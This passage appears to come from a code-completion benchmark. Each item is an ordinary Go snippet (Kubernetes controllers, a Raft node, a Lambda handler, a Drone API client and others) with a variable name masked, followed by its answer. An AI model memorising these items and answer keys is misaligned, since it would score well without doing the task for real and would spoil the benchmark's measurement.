environment if goPath := os.Getenv(""GOPATH""); goPath == """" { os.Setenv(""GOPATH"", defaultGOPATH()) } // Initialize the Fabric SDK [MASK] , err := blockchain.Initialize() if err != nil { fmt.Printf(""Unable to initialize the Fabric SDK: %v\n"", err) } // Install and instantiate the chaincode err = [MASK] .InstallAndInstantiateCC() if err != nil { fmt.Printf(""Unable to install and instantiate the chaincode: %v\n"", err) } // Make the web application listening app := &controllers.Application{ Fabric: [MASK] , } web.Serve(app) } ",fabricSdk 31,"package main import ( ""encoding/json"" ""fmt"" ""log"" ""net/http"" ""os"" ""strings"" ""time"" ) func startWebServer() { pageHTML := getHtmlContent(htmlFile) http.HandleFunc(""/"", func(w http.ResponseWriter, r *http.Request) { w.Header().Set(""Content-Type"", ""text/html"") fmt.Fprint(w, pageHTML) }) http.HandleFunc(""/api/status"", func(w http.ResponseWriter, r *http.Request) { mu.RLock() defer mu.RUnlock() b, _ := json.Marshal(statusMap) w.Header().Set(""Content-Type"", ""application/json"") w.Write(b) }) fmt.Println(""Server running at http://localhost:8080"") http.ListenAndServe("":8080"", nil) } func getHtmlContent(c string) string { htmlBytes, err := os.ReadFile(c) if err != nil { log.Fatalf(""Failed to read HTML file: %v"", err) } htmlContent := string(htmlBytes) return htmlContent } func printStatusTable(allIPs []string, [MASK] map[string]*hostDetails) { fmt.Print(""\033[H\033[2J"") fmt.Printf(""%-15s %-30s %-10s %s\n"", ""IP"", ""Hostname"", ""Status"", ""Last Seen"") fmt.Println(strings.Repeat(""-"", 70)) for _, ip := range allIPs { info := [MASK] [ip] var seen string if info.Status && !info.LastSeen.IsZero() { ago := time.Since(info.LastSeen).Round(time.Second) seen = fmt.Sprintf(""%vs ago"", int(ago.Seconds())) } else { seen = ""never"" } statusUpDown := ""DOWN"" if info.Status { statusUpDown = ""UP"" } fmt.Printf(""%-15s %-30s %-10v %s\n"", info.IP, info.Hostname, statusUpDown, seen) } } ",ipStatus 32,"package lister import ( ""time"" corev1 ""k8s.io/api/core/v1"" ""k8s.io/client-go/informers"" ""k8s.io/client-go/kubernetes"" leaselisterv1 ""k8s.io/client-go/listers/coordination/v1"" listerv1 ""k8s.io/client-go/listers/core/v1"" ""k8s.io/client-go/tools/cache"" ) const ( resyncInt = 5 * time.Second ) var ( factory informers.SharedInformerFactory ) type ACallback func(interface{}) type UCallback func(interface{}, interface{}) func CreateNodeLister(client *kubernetes.Clientset, stopper chan (struct{}), afunc ACallback, ufunc UCallback, dfunc ACallback) listerv1.NodeLister { if factory == nil { factory = informers.NewSharedInformerFactory(client, resyncInt) } nodeInformer := factory.Core().V1().Nodes() nodeLister := nodeInformer.Lister() nInformer := nodeInformer.Informer() nInformer.AddEventHandler(cache.ResourceEventHandlerFuncs{ AddFunc: afunc, UpdateFunc: ufunc, DeleteFunc: dfunc, }) factory.Start(stopper) factory.WaitForCacheSync(stopper) return nodeLister } func CreatePodLister(client *kubernetes.Clientset, stopper chan (struct{}), afunc ACallback, ufunc UCallback, dfunc ACallback) listerv1.PodLister { if factory == nil { factory = informers.NewSharedInformerFactory(client, resyncInt) } podInformer := factory.Core().V1().Pods() podLister := podInformer.Lister() pInformer := podInformer.Informer() pInformer.AddEventHandler(cache.ResourceEventHandlerFuncs{ AddFunc: nil, UpdateFunc: nil, DeleteFunc: nil, }) factory.Start(stopper) factory.WaitForCacheSync(stopper) return podLister } func CreateLeaseLister(client *kubernetes.Clientset, stopper chan (struct{}), acb ACallback, ucb UCallback, dcb ACallback) leaselisterv1.LeaseNamespaceLister { if factory == nil { factory = informers.NewSharedInformerFactory(client, resyncInt) } leaseInformer := factory.Coordination().V1().Leases() leaseLister := leaseInformer.Lister().Leases(corev1.NamespaceNodeLease) [MASK] := leaseInformer.Informer() [MASK] .AddEventHandler(cache.ResourceEventHandlerFuncs{ AddFunc: acb, UpdateFunc: ucb, DeleteFunc: dcb, }) factory.Start(stopper) factory.WaitForCacheSync(stopper) return leaseLister } ",lInformer 33,"package analysis import ( ""fmt"" ""strings"" ""github.com/montanaflynn/stats"" ) func AvailableStats() map[string]func(stats.Float64Data) (float64, error) { return map[string]func(stats.Float64Data) (float64, error){ ""count"": Count, ""mean"": stats.Mean, ""std"": stats.StandardDeviation, ""stds"": stats.StandardDeviationSample, ""min"": stats.Min, ""25%"": Q1, ""50%"": Q2, ""75%"": Q3, ""max"": stats.Max, } } // internal function to find the longest name of the stats calculations for formatting func longestStatName(statnames []string) int { max := 0 for _, name := range statnames { length := len(name) if length > max { max = length } } return max } // print summary statistics for data set // data , map of column/field to decimals // columns , columns to include in summary // statsorder , ordered statsitical calculations to include in summary func PrintSummary(data map[string][]float64, columns []string, statsorder []string) { fmt.Printf(""%s"", FormatSummary(data, columns, statsorder)) } func FormatSummary(data map[string][]float64, columns []string, statsorder []string) string { var summary string for _, field := range columns { summary += fmt.Sprintf(""%20s"", field) } summary += fmt.Sprintf(""\n"") calculations := AvailableStats() [MASK] := longestStatName(statsorder) for _, calculationName := range statsorder { summary += fmt.Sprintf(""%s: %s%s\n"", calculationName, strings.Repeat("" "", [MASK] -len(calculationName)), SummarizeFields(columns, data, calculations[calculationName])) } return summary } // columns array of strings that correspond to columns in a csv, e.g [""value"", ""income"", ""age""] // the order columns appear in the array is the order they will appear on the summary left to right func SummarizeFields(columns []string, data map[string][]float64, calculation func(stats.Float64Data) (float64, error)) string { var summaryString string for _, column := range columns { fieldData := data[column] result, _ := calculation(fieldData) summaryString += fmt.Sprintf(""%20f"", result) } return summaryString } // because these functions are used by Summarize they must accept a single // argument stats.Float64Data and return a float64 and error i.e they need // to be of type func(stats.Float64Data) (float64, error) // It would be nice to not repeat stats.Quartile function call, but that would // require a lot of refactoring that there isn't time for func Q1(input stats.Float64Data) (float64, error) { quartiles, _ := stats.Quartile(input) return quartiles.Q1, nil } func Q2(input stats.Float64Data) (float64, error) { quartiles, _ := stats.Quartile(input) return quartiles.Q2, nil } func Q3(input stats.Float64Data) (float64, error) { quartiles, _ := stats.Quartile(input) return quartiles.Q3, nil } func Count(data stats.Float64Data) (float64, error) { return float64(len(data)), nil } ",maxNameLen 34,"package gosilk // #include // #include // #include // #include // #include // #include // #include // #cgo LDFLAGS: -lsilk import ""C"" import ""fmt"" import ""log"" import ""time"" import ""net"" import ""encoding/binary"" type Header struct { compress int Invocation string annotation string Probename string } type Rec struct { sTime time.Time eTime time.Time SPort uint16 dPort uint16 proto uint8 pkts uint32 bytes uint32 input uint16 output uint16 flags uint8 SIP net.IP DIP net.IP nhIP net.IP } var written bool func init() { C.skAppRegister(C.CString(""gosilk"")) } func New(filename string) *C.skstream_t { var stream *C.skstream_t rv:=C.skStreamCreate(&stream,C.SK_IO_WRITE,C.SK_CONTENT_SILK_FLOW) if rv != 0 { log.Fatal(""skStreamCreate error"") } rv=C.skStreamBind(stream, C.CString(filename)) if rv != 0 { log.Fatal(""skStreamBind error"") } written=false return stream } func (stream *C.skstream_t) CreateHeader( [MASK] *Header) { //var stream *C.skstream_t var hdr *C.sk_file_header_t var hentry *C.sk_header_entry_t var rv C.int hdr=C.skStreamGetSilkHeader(stream) //hentry=C.skHentryPackedfileCreate(1164215667,1,5) //rv=C.skHeaderAddEntry(hdr,hentry) //fmt.Println(""AddEntry"",rv) if [MASK] .Probename != """" { hentry=C.skHentryProbenameCreate(C.CString( [MASK] .Probename)) rv=C.skHeaderAddEntry(hdr,hentry) fmt.Println(""AddEntry"",rv) } if [MASK] .Invocation != """" { hentry=C.skHentryProbenameCreate(C.CString( [MASK] .Invocation)) rv=C.skHeaderAddEntry(hdr,hentry) } rv= C.skStreamOpen(stream); fmt.Println(""StreamOpen"",rv) rv=C.skStreamWriteSilkHeader(stream) fmt.Println(""skStreamWriteSilkHeader"",rv) } func (stream *C.skstream_t) WriteRecord(rec *Rec) { var rwrec C.rwRec rwrec.proto=C.uint8_t(rec.proto) rwrec.sPort=C.uint16_t(rec.SPort) rwrec.dPort=C.uint16_t(rec.dPort) rwrec.sTime=C.int64_t(rec.sTime.UnixNano()/1000000) rwrec.elapsed=C.uint32_t(rec.eTime.Sub(rec.sTime).Nanoseconds()/1000000) fmt.Println(rec.SIP) C.rwrec_SetDIPv4(&rwrec,C.uint32_t(binary.BigEndian.Uint32([]byte(rec.DIP.To4())))) fmt.Println(rec.DIP) //C.rwrec_SetSIPv4(&rwrec,C.uint32_t(binary.BigEndian.Uint32([]byte(rec.SIP.To4())))) rv:=C.skStreamWriteRecord(stream,&rwrec) fmt.Println(""rwrec"",rv,rwrec.sIP) written=true } func (stream *C.skstream_t) CloseStream() { rv:=C.skStreamClose(stream) fmt.Println(""StreamClose"",rv) if rv !=0 { panic(""Disaster"") } C.skStreamDestroy(&stream); } func (stream *C.skstream_t) HaveWritten() bool { return written } ",options 35,"/* Copyright 2022. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package controllers import ( ""context"" apierrors ""k8s.io/apimachinery/pkg/api/errors"" ""k8s.io/apimachinery/pkg/runtime"" ctrl ""sigs.k8s.io/controller-runtime"" ""sigs.k8s.io/controller-runtime/pkg/client"" log ""sigs.k8s.io/controller-runtime/pkg/log"" interactive ""k8.interactive.job/api/v1"" batchv1 ""k8s.io/api/batch/v1"" corev1 ""k8s.io/api/core/v1"" converters ""k8.interactive.job/converters"" ) // InteractiveJobReconciler reconciles a InteractiveJob object type InteractiveJobReconciler struct { client.Client Scheme *runtime.Scheme } //+kubebuilder:rbac:groups=batch.k8.interactive.job,resources=interactivejobs,verbs=get;list;watch;create;update;patch;delete //+kubebuilder:rbac:groups=batch.k8.interactive.job,resources=interactivejobs/status,verbs=get;update;patch //+kubebuilder:rbac:groups=batch.k8.interactive.job,resources=interactivejobs/finalizers,verbs=update // Reconcile is part of the main kubernetes reconciliation loop which aims to // move the current state of the cluster closer to the desired state. // TODO(user): Modify the Reconcile function to compare the state specified by // the InteractiveJob object against the actual cluster state, and then // perform operations to make the cluster state reflect the state specified by // the user. // // For more details, check Reconcile and its Result here: // - https://pkg.go.dev/sigs.k8s.io/controller-runtime@v0.12.2/pkg/reconcile func (r *InteractiveJobReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { log := log.FromContext(ctx) var interactiveJob interactive.InteractiveJob if err := r.Get(ctx, req.NamespacedName, &interactiveJob); err != nil { // we'll ignore not-found errors, since they can't be fixed by an immediate // requeue (we'll need to wait for a new notification), and we can get them // on deleted requests. return ctrl.Result{}, client.IgnoreNotFound(err) } constructJobForInteractiveJob := func(interactiveJob *interactive.InteractiveJob) (*batchv1.Job, error) { job := converters.GenerateJobFromInteractiveJob(interactiveJob) if err := ctrl.SetControllerReference(interactiveJob, job, r.Scheme); err != nil { return nil, err } return job, nil } // actually make the job... job, err := constructJobForInteractiveJob(&interactiveJob) if err != nil { log.Error(err, ""unable to construct job from template"") // don't bother requeuing until we get a change to the spec return ctrl.Result{}, err } // ...and create it on the cluster if err := r.Create(ctx, job); err != nil { if !apierrors.IsAlreadyExists(err) { log.Error(err, ""unable to create Job for InteractiveJob"", ""job"", job) return ctrl.Result{}, err } emptyJob := batchv1.Job{} if err := r.Get(ctx, req.NamespacedName, &emptyJob); err != nil { log.Error(err, ""Cant find job corresponding to InteractiveJob"") return ctrl.Result{}, err } status := ""FAILED"" if emptyJob.Status.Active > 0 { status = ""RUNNING"" } else if emptyJob.Status.Succeeded > 0 { status = ""SUCCEEDED"" } interactiveJob.Status.JobStatus = status if err := r.Update(ctx, &interactiveJob); err != nil { log.Error(err, ""Unable to update interactive job"") return ctrl.Result{}, err } } constructServiceForInteractiveJob := func(interactiveJob *interactive.InteractiveJob) (*corev1.Service, error) { service, err := converters.GenerateServiceFromInteractiveJob(interactiveJob) if err != nil { log.Error(err, ""Unable to Construct Service"") return nil, err } if err := ctrl.SetControllerReference(interactiveJob, service, r.Scheme); err != nil { return nil, err } return service, nil } // Construct a service object from service, serviceErr := constructServiceForInteractiveJob(&interactiveJob) if serviceErr != nil { log.Error(serviceErr, ""Unable to create service for interactive job"") return ctrl.Result{}, serviceErr } if serviceErr := r.Create(ctx, service); serviceErr != nil { if !apierrors.IsAlreadyExists(serviceErr) { log.Error(serviceErr, ""unable to create Service for InteractiveJob"", ""service"", service) return ctrl.Result{}, serviceErr } } return ctrl.Result{}, nil } // SetupWithManager sets up the controller with the Manager. func (r *InteractiveJobReconciler) SetupWithManager( [MASK] ctrl.Manager) error { return ctrl.NewControllerManagedBy( [MASK] ). For(&interactive.InteractiveJob{}). Owns(&batchv1.Job{}). Owns(&corev1.Service{}). Complete(r) } ",mgr 36,"package main import ( ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ""github.com/aws/aws-lambda-go/events"" ""github.com/aws/aws-lambda-go/lambda"" ) type Payload struct { Url string `json:""url""` ValueKeyName string `json:""value_key_name""` MaxKeyName string `json:""max_key_name""` } func handler(request events.APIGatewayProxyRequest) (*events.APIGatewayProxyResponse, error) { body := request.Body params := Payload{} err := json.Unmarshal([]byte(body), ¶ms) if err != nil { return &events.APIGatewayProxyResponse{ StatusCode: http.StatusBadRequest, Headers: map[string]string{""Content-Type"": ""application/json""}, Body: ""{\""error\"": \""Invalid request body\""}"", }, nil } url := params.Url valueKeyName := params.ValueKeyName maxKeyName := params.MaxKeyName resp, err := http.Get(url) if err != nil { return &events.APIGatewayProxyResponse{ StatusCode: 502, Headers: map[string]string{""Content-Type"": ""application/json""}, Body: fmt.Sprintf(""{\""error\"": \""Could not get response from upstream url: %s\""}"", url), }, nil } defer resp.Body.Close() [MASK] := resp.StatusCode upstreamBody, err := ioutil.ReadAll(resp.Body) if err != nil { return &events.APIGatewayProxyResponse{ StatusCode: 502, Headers: map[string]string{""Content-Type"": ""application/json""}, Body: ""{\""error\"": \""Could not read upstream response body.\""}"", }, nil } if [MASK] != 200 { return &events.APIGatewayProxyResponse{ StatusCode: 502, Headers: map[string]string{""Content-Type"": ""application/json""}, Body: fmt.Sprintf(""{\""code\"": %d, \""error\"": %q}"", [MASK] , upstreamBody[:]), }, nil } var upstreamJson interface{} err = json.Unmarshal(upstreamBody, &upstreamJson) if err != nil { return &events.APIGatewayProxyResponse{ StatusCode: 502, Headers: map[string]string{""Content-Type"": ""application/json""}, Body: fmt.Sprintf(""{\""error\"": \""Unable to decoe upstream response body: %s\""}"", upstreamBody[:]), }, nil } value, ok := upstreamJson.(map[string]interface{})[valueKeyName].(float64) if !ok { return &events.APIGatewayProxyResponse{ StatusCode: 502, Headers: map[string]string{""Content-Type"": ""application/json""}, Body: ""{\""error\"": \""Failed to parse upstream response json.\""}"", }, nil } max, ok := upstreamJson.(map[string]interface{})[maxKeyName].(float64) if !ok { return &events.APIGatewayProxyResponse{ StatusCode: 502, Headers: map[string]string{""Content-Type"": ""application/json""}, Body: ""{\""error\"": \""Failed to parse upstream response json.\""}"", }, nil } return &events.APIGatewayProxyResponse{ StatusCode: 200, Headers: map[string]string{""Content-Type"": ""application/json""}, Body: fmt.Sprintf(""{\""value\"": %f, \""max\"": %f}"", value, max), }, nil } func main() { // Make the handler available for Remote Procedure Call lambda.Start(handler) } ",upstreamStatusCode 37,"// SPDX-FileCopyrightText: 2023 <> // // SPDX-License-Identifier: MIT package main import ( ""log/slog"" ""os"" ""os/signal"" ""path/filepath"" ""syscall"" ""github.com/wneessen/logranger"" ) const ( // LogErrKey is the keyword used in slog for error messages LogErrKey = ""error"" ) func main() { logger := slog.New(slog.NewJSONHandler(os.Stdout, nil)).With(slog.String(""context"", ""logranger"")) confPath := ""logranger.toml"" confPathEnv := os.Getenv(""LOGRANGER_CONFIG"") if confPathEnv != """" { confPath = confPathEnv } path := filepath.Dir(confPath) file := filepath.Base(confPath) config, err := logranger.NewConfig(path, file) if err != nil { logger.Error(""failed to read/parse config"", LogErrKey, err) os.Exit(1) } server, err := logranger.New(config) if err != nil { logger.Error(""failed to create new server"", LogErrKey, err) os.Exit(1) } go func() { if err = server.Run(); err != nil { logger.Error(""failed to start logranger"", LogErrKey, err) os.Exit(1) } }() [MASK] := make(chan os.Signal, 1) signal.Notify( [MASK] ) for recvSig := range [MASK] { if recvSig == syscall.SIGKILL || recvSig == syscall.SIGABRT || recvSig == syscall.SIGINT || recvSig == syscall.SIGTERM { logger.Warn(""received signal. shutting down server"", slog.String(""signal"", recvSig.String())) // server.Stop() logger.Info(""server gracefully shut down"") os.Exit(0) } if recvSig == syscall.SIGHUP { logger.Info(`received signal`, slog.String(""signal"", ""SIGHUP""), slog.String(""action"", ""reloading config/ruleset"")) if err = server.ReloadConfig(path, file); err != nil { logger.Error(""failed to reload config"", LogErrKey, err) } } } } ",signalChan 38,"package controllers import ( ""encoding/json"" ""rustdesk-api-server/app/dto"" ""rustdesk-api-server/app/services"" ""rustdesk-api-server/utils/beegoHelper"" ""strings"" ""strconv"" ) var Address = new(AddressBookController) type AddressBookController struct { BaseController } // 查看地址谱列表 func (ctl *AddressBookController) List() { ack := dto.AbGetAck{} ack.Tags = []string{} // 查询 tags tag_colors := dto.AbTag_colors{} tags := services.Tags.FindTags(ctl.loginUserInfo.Id) for _, item := range tags { ack.Tags = append(ack.Tags, item.Tag) if (item.Color != """"){ tag_colors[item.Tag], _ = strconv.ParseInt(item.Color, 10, 64) } } jdata_tag_colors, _ := json.Marshal(tag_colors) ack.Tag_colors = string(jdata_tag_colors) // 查询 peers ack.Peers = []dto.AbGetPeer{} peerDbs := services.Peers.FindPeers(ctl.loginUserInfo.Id) for _, item := range peerDbs { ack.Peers = append(ack.Peers, dto.AbGetPeer{ Id: item.ClientId, Username: item.Username, Hostname: item.Hostname, Alias: item.Alias, Platform: item.Platform, Tags: strings.Split(item.Tags, "",""), }) } // 查询出来所有已登录的账号列表 [MASK] := services.Token.FindTokens(ctl.loginUserInfo.Id) for _, item := range * [MASK] { ist := false for _, bookItem := range ack.Peers { if bookItem.Id == item.ClientId { ist = true break } } if !ist { ack.Peers = append(ack.Peers, dto.AbGetPeer{ Id: item.ClientId, Username: ""----"", Hostname: item.ClientId, Alias: ""本号归属:"" + item.ClientId, Platform: ""无"", Tags: strings.Split("""", "",""), }) } } jdata, _ := json.Marshal(ack) ctl.JSON(beegoHelper.H{ //""error"": false, ""data"": string(jdata), //""update_at"": time.Now().Format(""2006-01-02 15:04:05""), }) } // 更新地址谱 func (ctl *AddressBookController) Update() { req := dto.AbUpdateReq{} if err := ctl.BindJSON(&req); err != nil { ctl.JSON(beegoHelper.H{ ""error"": ""请求参数异常"", }) return } // 解析数据 reqSub := &dto.AbUpdateSub{} err := json.Unmarshal([]byte(req.Data), reqSub) if err != nil { ctl.JSON(beegoHelper.H{ ""error"": ""请求数据异常"", }) } // 批量删除tags services.Tags.DeleteAll(ctl.loginUserInfo.Id) // 批量删除Peers services.Peers.DeleteAll(ctl.loginUserInfo.Id) // 开始批量插入tags if !services.Tags.BatchAdd(ctl.loginUserInfo.Id, reqSub.Tags, reqSub.Tag_colors) { ctl.JSON(beegoHelper.H{ ""error"": ""导入标签失败"", }) } // 开始批量插入peers if !services.Peers.BatchAdd(ctl.loginUserInfo.Id, reqSub.Peers) { ctl.JSON(beegoHelper.H{ ""error"": ""导入地址簿失败"", }) } ctl.JSON(beegoHelper.H{ ""data"": ""成功"", }) } ",tokens 39,"package raftnode import ( ""encoding/json"" ""errors"" ""fmt"" ""net"" ""os"" ""path/filepath"" ""strings"" ""time"" ""github.com/forjoin92/depot/store"" ""github.com/hashicorp/raft"" ""github.com/hashicorp/raft-boltdb"" ) type RaftNode struct { id string peers []string dataDir string snapshotPath string raftDBPath string kvs *store.KvStore raft *raft.Raft } func NewRaftNode(id string, cluster string, dataDir string, snapshotPath string, raftDBPath string) (*RaftNode, error) { if id == """" { return nil, fmt.Errorf(""id should not be empty"") } config := raft.DefaultConfig() config.LocalID = raft.ServerID(id) config.SnapshotInterval = 30 * time.Second config.SnapshotThreshold = 10 config.TrailingLogs = 10 if dataDir == """" { dataDir = filepath.Join(DefaultDataDir(), id) } if err := os.MkdirAll(dataDir, 0700); err != nil { return nil, fmt.Errorf(""Failed to mkdir (%s): (%v)"", dataDir, err) } addr, err := net.ResolveTCPAddr(""tcp"", id) if err != nil { return nil, fmt.Errorf(""Failed to resolve TCP address (%s): (%v)"", id, err) } transport, err := raft.NewTCPTransport(id, addr, 3, 10*time.Second, os.Stderr) if err != nil { return nil, fmt.Errorf(""Failed to create TCP transport (%s): (%v)"", id, err) } if snapshotPath == """" { snapshotPath = dataDir } snapshot, err := raft.NewFileSnapshotStore(snapshotPath, 3, os.Stderr) if err != nil { return nil, fmt.Errorf(""Failed to create file snapshot store (%s): (%v)"", snapshotPath, err) } if raftDBPath == """" { raftDBPath = dataDir } logStore, err := raftboltdb.NewBoltStore(filepath.Join(raftDBPath, ""raft.db"")) if err != nil { return nil, fmt.Errorf(""Failed to create log store and stable store (%s): (%v)"", raftDBPath, err) } kvs := store.NewKVStore() r, err := raft.NewRaft(config, kvs, logStore, logStore, snapshot, transport) if err != nil { return nil, fmt.Errorf(""Failed to create Raft system : (%v)"", err) } var [MASK] []string if cluster == """" { [MASK] = append( [MASK] , id) } else { [MASK] = strings.Split(cluster, "","") } servers := make([]raft.Server, len( [MASK] )) for i, server := range [MASK] { servers[i] = raft.Server{ ID: raft.ServerID(server), Address: raft.ServerAddress(server), } } configuration := raft.Configuration{ Servers: servers, } r.BootstrapCluster(configuration) node := &RaftNode{ id: id, peers: [MASK] , dataDir: dataDir, snapshotPath: snapshotPath, raftDBPath: raftDBPath, kvs: kvs, raft: r, } return node, nil } // 获取keyvalue func (node *RaftNode) GetKV(key string) string { return node.kvs.Get(key) } // 设置keyvalue func (node *RaftNode) SetKV(key, value string) error { if !node.IsLeader() { return errors.New(""Not the leader"") } op := &store.Op{ Method: ""SET"", Key: key, Value: value, } cmd, err := json.Marshal(op) if err != nil { return err } // Apply is used to issue a command to the FSM in a highly consistent manner. // This returns a future that ca be used to wait on the application. // This must be run on the leader or it will fail. return node.raft.Apply(cmd, 10*time.Second).Error() } // 删除keyvalue func (node *RaftNode) DeleteKV(key string) error { if !node.IsLeader() { return errors.New(""Not the leader"") } op := &store.Op{ Method: ""DEL"", Key: key, } cmd, err := json.Marshal(op) if err != nil { return err } // Apply is used to issue a command to the FSM in a highly consistent manner. // This returns a future that ca be used to wait on the application. // This must be run on the leader or it will fail. return node.raft.Apply(cmd, 10*time.Second).Error() } func (node *RaftNode) ID() string { return node.id } // 判断节点是否是leader func (node *RaftNode) IsLeader() bool { return node.raft.State() == raft.Leader } // 获取raft集群leader func (node *RaftNode) Leader() raft.ServerAddress { return node.raft.Leader() } // 增加raft集群节点 func (node *RaftNode) AddNode(id string) error { return node.raft.AddVoter(raft.ServerID(id), raft.ServerAddress(id), 0, 0).Error() } // 移除raft集群节点 func (node *RaftNode) RemoveNode(id string) error { if !node.IsLeader() { return errors.New(""Not the leader"") } return node.raft.RemoveServer(raft.ServerID(id), 0, 0).Error() } ",clusters 40,"package client import ( ""bytes"" ""crypto/tls"" ""encoding/json"" ""fmt"" ""io"" ""io/ioutil"" ""net/http"" ""net/url"" ""os"" ""strconv"" ""github.com/drone/drone/model"" ""golang.org/x/net/proxy"" ""golang.org/x/oauth2"" ) const ( pathPull = ""%s/api/queue/pull/%s/%s"" pathWait = ""%s/api/queue/wait/%d"" pathStream = ""%s/api/queue/stream/%d"" pathPush = ""%s/api/queue/status/%d"" pathPing = ""%s/api/queue/ping"" pathLogs = ""%s/api/queue/logs/%d"" pathLogsAuth = ""%s/api/queue/logs/%d?access_token=%s"" pathSelf = ""%s/api/user"" pathFeed = ""%s/api/user/feed"" pathRepos = ""%s/api/user/repos"" pathRepo = ""%s/api/repos/%s/%s"" pathChown = ""%s/api/repos/%s/%s/chown"" pathEncrypt = ""%s/api/repos/%s/%s/encrypt"" pathBuilds = ""%s/api/repos/%s/%s/builds"" pathBuild = ""%s/api/repos/%s/%s/builds/%v"" pathApprove = ""%s/api/repos/%s/%s/builds/%d/approve"" pathDecline = ""%s/api/repos/%s/%s/builds/%d/decline"" pathJob = ""%s/api/repos/%s/%s/builds/%d/%d"" pathLog = ""%s/api/repos/%s/%s/logs/%d/%d"" pathKey = ""%s/api/repos/%s/%s/key"" pathSign = ""%s/api/repos/%s/%s/sign"" pathRepoSecrets = ""%s/api/repos/%s/%s/secrets"" pathRepoSecret = ""%s/api/repos/%s/%s/secrets/%s"" pathTeamSecrets = ""%s/api/teams/%s/secrets"" pathTeamSecret = ""%s/api/teams/%s/secrets/%s"" pathGlobalSecrets = ""%s/api/global/secrets"" pathGlobalSecret = ""%s/api/global/secrets/%s"" pathNodes = ""%s/api/nodes"" pathNode = ""%s/api/nodes/%d"" pathUsers = ""%s/api/users"" pathUser = ""%s/api/users/%s"" pathBuildQueue = ""%s/api/builds"" pathAgent = ""%s/api/agents"" ) type client struct { client *http.Client token string // auth token base string // base url } // NewClient returns a client at the specified url. func NewClient(uri string) Client { return &client{client: http.DefaultClient, base: uri} } // NewClientToken returns a client at the specified url that authenticates all // outbound requests with the given token. func NewClientToken(uri, token string) Client { config := new(oauth2.Config) auther := config.Client(oauth2.NoContext, &oauth2.Token{AccessToken: token}) return &client{client: auther, base: uri, token: token} } // NewClientTokenTLS returns a client at the specified url that authenticates // all outbound requests with the given token and tls.Config if provided. func NewClientTokenTLS(uri, token string, c *tls.Config) (Client, error) { config := new(oauth2.Config) auther := config.Client(oauth2.NoContext, &oauth2.Token{AccessToken: token}) if c != nil { if trans, ok := auther.Transport.(*oauth2.Transport); ok { if os.Getenv(""SOCKS_PROXY"") != """" { dialer, err := proxy.SOCKS5(""tcp"", os.Getenv(""SOCKS_PROXY""), nil, proxy.Direct) if err != nil { return nil, err } trans.Base = &http.Transport{ TLSClientConfig: c, Proxy: http.ProxyFromEnvironment, Dial: dialer.Dial, } } else { trans.Base = &http.Transport{ TLSClientConfig: c, Proxy: http.ProxyFromEnvironment, } } } } return &client{client: auther, base: uri, token: token}, nil } // Self returns the currently authenticated user. func (c *client) Self() (*model.User, error) { out := new(model.User) uri := fmt.Sprintf(pathSelf, c.base) err := c.get(uri, out) return out, err } // User returns a user by login. func (c *client) User(login string) (*model.User, error) { out := new(model.User) uri := fmt.Sprintf(pathUser, c.base, login) err := c.get(uri, out) return out, err } // UserList returns a list of all registered users. func (c *client) UserList() ([]*model.User, error) { var out []*model.User uri := fmt.Sprintf(pathUsers, c.base) err := c.get(uri, &out) return out, err } // UserPost creates a new user account. func (c *client) UserPost(in *model.User) (*model.User, error) { out := new(model.User) uri := fmt.Sprintf(pathUsers, c.base) err := c.post(uri, in, out) return out, err } // UserPatch updates a user account. func (c *client) UserPatch(in *model.User) (*model.User, error) { out := new(model.User) uri := fmt.Sprintf(pathUser, c.base, in.Login) err := c.patch(uri, in, out) return out, err } // UserDel deletes a user account. func (c *client) UserDel(login string) error { uri := fmt.Sprintf(pathUser, c.base, login) err := c.delete(uri) return err } // Repo returns a repository by name. func (c *client) Repo(owner string, name string) (*model.Repo, error) { out := new(model.Repo) uri := fmt.Sprintf(pathRepo, c.base, owner, name) err := c.get(uri, out) return out, err } // RepoList returns a list of all repositories to which // the user has explicit access in the host system. func (c *client) RepoList() ([]*model.Repo, error) { var out []*model.Repo uri := fmt.Sprintf(pathRepos, c.base) err := c.get(uri, &out) return out, err } // RepoPost activates a repository. func (c *client) RepoPost(owner string, name string) (*model.Repo, error) { out := new(model.Repo) uri := fmt.Sprintf(pathRepo, c.base, owner, name) err := c.post(uri, nil, out) return out, err } // RepoChow updates a repository owner. func (c *client) RepoChown(owner string, name string) (*model.Repo, error) { out := new(model.Repo) uri := fmt.Sprintf(pathChown, c.base, owner, name) err := c.post(uri, nil, out) return out, err } // RepoPatch updates a repository. func (c *client) RepoPatch(in *model.Repo) (*model.Repo, error) { out := new(model.Repo) uri := fmt.Sprintf(pathRepo, c.base, in.Owner, in.Name) err := c.patch(uri, in, out) return out, err } // RepoDel deletes a repository. func (c *client) RepoDel(owner, name string) error { uri := fmt.Sprintf(pathRepo, c.base, owner, name) err := c.delete(uri) return err } // Build returns a repository build by number. func (c *client) Build(owner, name string, num int) (*model.Build, error) { out := new(model.Build) uri := fmt.Sprintf(pathBuild, c.base, owner, name, num) err := c.get(uri, out) return out, err } // Build returns the latest repository build by branch. func (c *client) BuildLast(owner, name, branch string) (*model.Build, error) { out := new(model.Build) uri := fmt.Sprintf(pathBuild, c.base, owner, name, ""latest"") if len(branch) != 0 { uri += ""?branch="" + branch } err := c.get(uri, out) return out, err } // BuildList returns a list of recent builds for the // the specified repository. func (c *client) BuildList(owner, name string) ([]*model.Build, error) { var out []*model.Build uri := fmt.Sprintf(pathBuilds, c.base, owner, name) err := c.get(uri, &out) return out, err } // BuildQueue returns a list of enqueued builds. func (c *client) BuildQueue() ([]*model.Feed, error) { var out []*model.Feed uri := fmt.Sprintf(pathBuildQueue, c.base) err := c.get(uri, &out) return out, err } // BuildStart re-starts a stopped build. func (c *client) BuildStart(owner, name string, num int, params map[string]string) (*model.Build, error) { out := new(model.Build) val := parseToQueryParams(params) uri := fmt.Sprintf(pathBuild, c.base, owner, name, num) err := c.post(uri+""?""+val.Encode(), nil, out) return out, err } // BuildStop cancels the running job. func (c *client) BuildStop(owner, name string, num, job int) error { uri := fmt.Sprintf(pathJob, c.base, owner, name, num, job) err := c.delete(uri) return err } // BuildFork re-starts a stopped build with a new build number, // preserving the prior history. func (c *client) BuildFork(owner, name string, num int, params map[string]string) (*model.Build, error) { 